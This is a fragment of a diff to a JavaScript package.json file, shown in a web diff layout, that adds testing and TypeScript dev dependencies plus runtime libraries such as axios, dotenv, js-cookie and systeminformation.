"jest-environment-jsdom": "^29.7.0",
|
|
19
|
+
"react": "^18.2.0",
|
|
20
|
+
"rimraf": "^5.0.5",
|
|
21
|
+
"ts-jest": "^29.1.1",
|
|
22
|
+
"ts-node": "^10.9.1",
|
|
23
|
+
"typescript": "^5.2.2",
|
|
24
|
+
"@testing-library/react": "^14.1.1"
|
|
25
|
+
},
|
|
26
|
+
"dependencies": {
|
|
27
|
+
"js-cookie": "^3.0.5",
|
|
28
|
+
"dotenv": "^16.4.5",
|
|
29
|
+
"axios": "^1.6.3",
|
|
30
|
+
"read-package-json": "^7.0.0",
|
|
31
|
+
"systeminformation": "^5.21.22"
|
|
32
|
+
}
|
|
6
33
|
}
|